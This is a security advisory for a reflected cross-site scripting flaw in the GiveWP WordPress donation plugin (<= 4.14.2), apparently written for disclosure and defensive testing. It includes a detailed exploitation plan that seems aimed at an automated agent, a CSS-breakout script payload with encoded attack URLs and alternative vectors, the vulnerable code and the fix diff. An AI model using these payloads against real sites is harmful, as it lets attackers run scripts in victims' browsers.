GiveWP – Donation Plugin and Fundraising Platform <= 4.14.2 - Reflected Cross-Site Scripting
Description
The GiveWP – Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to Reflected Cross-Site Scripting in versions up to, and including, 4.14.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v4.14.3
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-34900 (GiveWP Reflected XSS) ## 1. Vulnerability Summary The **GiveWP** plugin (<= 4.14.2) is vulnerable to **Reflected Cross-Site Scripting (XSS)** via the donation form preview functionality. The vulnerability exists because the `DonationFormViewController` …
Show full research plan
Exploitation Research Plan: CVE-2026-34900 (GiveWP Reflected XSS)
1. Vulnerability Summary
The GiveWP plugin (<= 4.14.2) is vulnerable to Reflected Cross-Site Scripting (XSS) via the donation form preview functionality. The vulnerability exists because the DonationFormViewController allows user-supplied form settings (specifically colors) to be passed into a DonationFormViewModel, which then reflects these values directly into an inline CSS block via wp_add_inline_style() without sanitization or escaping. An attacker can use CSS breakout techniques to inject a </style> tag followed by arbitrary JavaScript.
2. Attack Vector Analysis
- Endpoint: The main site frontend (WordPress root).
- Trigger Query Parameter:
give-form-preview(This activates thepreviewmethod inDonationFormViewController). - Vulnerable Parameter:
form_settings[primaryColor]orform_settings[secondaryColor]. - Authentication: Unauthenticated (The preview route is designed to display a form based on provided state, often used by the administrative Visual Form Builder but accessible to anyone if the ID is known).
- Preconditions: A valid Donation Form ID (
formId) must exist.
3. Code Flow
- Entry Point: A request is made to
/?give-form-preview={ID}&form_settings[primaryColor]={PAYLOAD}. - Controller: The request is routed to
Give\DonationForms\Controllers\DonationFormViewController::preview(). - DTO Mapping: The query parameter
form_settingsis mapped to theformSettingsproperty of theDonationFormPreviewRouteDataDTO. - ViewModel Initialization:
DonationFormViewController::preview()(line 44) instantiatesDonationFormViewModel, passing the untrusted$data->formSettings. - Style Enqueueing: During the rendering process,
DonationFormViewModel::enqueueGlobalStyles()(line 110) is called. - Reflection:
primaryColor()(line 89) returns$this->formSettings->primaryColor(the raw payload).wp_add_inline_style()(line 122) is called with the following string:":root { --givewp-primary-color:{$this->primaryColor()}; --givewp-secondary-color:{$this->secondaryColor()}; }"
- Sink: WordPress outputs the CSS inside a
<style>tag. The payload};</style><script>alert(1)</script>breaks out of the CSS rule and the style tag, executing the script.
4. Nonce Acquisition Strategy
The preview route in DonationFormViewController is typically used for live previews in the editor and often does not enforce a nonce for the viewing action itself (as reflected XSS targets the victim's session).
If a nonce were required (e.g., give_preview_nonce), it would be found in the admin dashboard where the form builder is used.
- Shortcode:
[give_form]or[give_receipt]. - Strategy:
- Create a form to get a valid ID.
- Check if the preview route
/?give-form-preview={ID}loads without a nonce. - If a nonce is required, it is likely localized in the
giveAdminDonationFormConfigor similar JS object.
Note: For Reflected XSS, the lack of a nonce in the controller's preview method is the primary weakness.
5. Exploitation Strategy
Step 1: Discover/Create Form ID
Use WP-CLI to find an existing form ID.
wp post list --post_type=give_forms --field=ID --limit=1
Step 2: Construct Payload
The payload must:
- Close the CSS variable assignment:
; - Close the
:rootselector:} - Close the
<style>tag:</style> - Inject the script:
<script>alert(document.domain)</script>
Payload: x; } </style><script>alert(document.domain)</script>
URL Encoded: x%3B%20%7D%20%3C%2Fstyle%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Step 3: Execute Request
Using the http_request tool, navigate to the preview URL.
- Method:
GET - URL:
http://vulnerable-site.tld/?give-form-preview={ID}&form_settings[primaryColor]=x;%20%7D%20%3C/style%3E%3Cscript%3Ealert(document.domain)%3C/script%3E
6. Test Data Setup
- Requirement: At least one GiveWP Donation Form must exist.
- WP-CLI Setup:
# Ensure GiveWP is active wp plugin activate give # Create a dummy donation form wp post create --post_type=give_forms --post_title="XSS Test Form" --post_status=publish
7. Expected Results
- The HTTP response will contain the literal string:
--givewp-primary-color:x; } </style><script>alert(document.domain)</script>; - The browser will render a
<style>tag that is prematurely closed, followed by a<script>tag. - The
alert(document.domain)box will trigger in the browser environment.
8. Verification Steps
- Manual View: Use
browser_navigateto the constructed URL. - DOM Check: Use
browser_evalto check if a specific "canary" variable injected via the XSS exists:// Payload: x; } </style><script>window.xss_vulnerable = true;</script> browser_eval("window.xss_vulnerable") // Should return true - Source Check: Inspect the returned HTML to confirm the
wp-add-inline-styleblock contains the raw payload.
9. Alternative Approaches
Parameter: secondaryColor
If primaryColor is sanitized in some edge case, the same vulnerability exists in secondaryColor() (line 104) and is used identically in enqueueGlobalStyles().
Vector: JSON-encoded form_settings
If the DTO expects a JSON string instead of an array, the payload would be:?give-form-preview={ID}&form_settings={"primaryColor":"x; } </style><script>alert(1)</script>"}
Vector: Post Meta Preview
The preview method also falls back to $donationForm->settings. If an attacker can influence a form's settings (e.g., via a different vulnerability), this becomes Stored XSS triggered whenever the preview is viewed.
Summary
The GiveWP plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the donation form preview functionality. Unauthenticated attackers can inject arbitrary JavaScript by supplying malicious values for form settings like primaryColor, which are reflected directly into an inline CSS block without proper sanitization or escaping.
Vulnerable Code
// src/DonationForms/Controllers/DonationFormViewController.php:41 public function preview(DonationFormPreviewRouteData $data): string { /** @var DonationForm $donationForm */ $donationForm = DonationForm::find($data->formId); $viewModel = new DonationFormViewModel( $donationForm->id, $data->formBlocks ?: $donationForm->blocks, $data->formSettings ?: $donationForm->settings, true ); ob_clean(); return $viewModel->render(); } --- // src/DonationForms/ViewModels/DonationFormViewModel.php:140 public function enqueueGlobalStyles() { (new RegisterDesignSystemStyles())(); wp_enqueue_style('givewp-design-system-foundation'); wp_register_style( 'givewp-base-form-styles', GIVE_PLUGIN_URL . 'build/baseFormDesignCss.css' ); wp_add_inline_style( 'givewp-base-form-styles', ":root { --givewp-primary-color:{$this->primaryColor()}; --givewp-secondary-color:{$this->secondaryColor()}; }" ); wp_add_inline_style( 'givewp-base-form-styles', wp_strip_all_tags(give_get_option('custom_form_styles', '')) ); wp_enqueue_style('givewp-base-form-styles'); }
Security Fix
@@ -6,7 +6,7 @@ * Description: The most robust, flexible, and intuitive way to accept donations on WordPress. * Author: GiveWP * Author URI: https://givewp.com/ - * Version: 4.14.2 + * Version: 4.14.3 * Requires at least: 6.6 * Requires PHP: 7.4 * Text Domain: give @@ -425,7 +425,7 @@ { // Plugin version. if (!defined('GIVE_VERSION')) { - define('GIVE_VERSION', '4.14.2'); + define('GIVE_VERSION', '4.14.3'); } // Plugin Root File. @@ -12,6 +12,7 @@ /** * This renders the donation form view. * + * @since 4.14.3 Prevent triggering a fatal error due to form not found. * @since 3.0.0 */ public function show(DonationFormViewRouteData $data): string @@ -19,6 +20,14 @@ /** @var DonationForm $donationForm */ $donationForm = DonationForm::find($data->formId); + if (!$donationForm) { + wp_die( + esc_html__('Donation form not found.', 'give'), + esc_html__('Not Found', 'give'), + ['response' => 404] + ); + } + $viewModel = new DonationFormViewModel( $donationForm->id, $donationForm->blocks, @@ -32,6 +41,7 @@ /** * This renders the donation form preview * + * @since 4.14.3 Prevent triggering a fatal error due to form not found. * @since 3.0.0 */ public function preview(DonationFormPreviewRouteData $data): string @@ -39,6 +49,14 @@ /** @var DonationForm $donationForm */ $donationForm = DonationForm::find($data->formId); + if (!$donationForm) { + wp_die( + esc_html__('Donation form not found.', 'give'), + esc_html__('Not Found', 'give'), + ['response' => 404] + ); + } + $viewModel = new DonationFormViewModel( $donationForm->id, $data->formBlocks ?: $donationForm->blocks, @@ -284,6 +284,7 @@ public bool $inheritCampaignColors; /** + * @since 4.14.3 Sanitize designId property * @since 4.1.0 Added $inheritCampaignColors * @since 3.16.0 Added $enableReceiptConfirmationPage * @since 3.7.0 Added formExcerpt @@ -318,7 +319,7 @@ : GoalProgressType::ALL_TIME(); $self->goalStartDate = $array['goalStartDate'] ?? ''; $self->goalEndDate = $array['goalEndDate'] ?? ''; - $self->designId = $array['designId'] ?? null; + $self->designId = isset($array['designId']) ? sanitize_html_class($array['designId']) : null; $self->inheritCampaignColors = $array['inheritCampaignColors'] ?? false; $self->primaryColor = $array['primaryColor'] ?? '#2d802f'; $self->secondaryColor = $array['secondaryColor'] ?? '#f49420'; @@ -280,6 +280,7 @@ * 5. Finally, call the specific WP function wp_print_footer_scripts() * - This will only print the footer scripts that are enqueued within our route. * + * @since 4.14.3 Escape HTML attributes for classNames property * @since 3.20.0 Adds class for form design * @since 3.11.0 Sanitize customCSS property * @since 3.0.0 @@ -315,7 +316,7 @@ <div data-theme="light" id="root-givewp-donation-form" data-iframe-height - class="<?= implode(' ', $classNames) ?>"></div> + class="<?= esc_attr(implode(' ', $classNames)) ?>"></div> <?php wp_print_footer_scripts();
Exploit Outline
To exploit this vulnerability, an attacker needs to find a valid Donation Form ID. They then construct a GET request to the WordPress site using the `give-form-preview` query parameter to trigger the preview logic. The payload is passed through the `form_settings` array, specifically the `primaryColor` or `secondaryColor` keys. A payload such as `};</style><script>alert(1)</script>` will break out of the inline CSS variable block generated by `wp_add_inline_style`, close the style tag, and execute arbitrary JavaScript in the context of the user's browser. This attack is unauthenticated but requires the attacker to know a valid form ID and trick a victim into clicking the malicious link.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.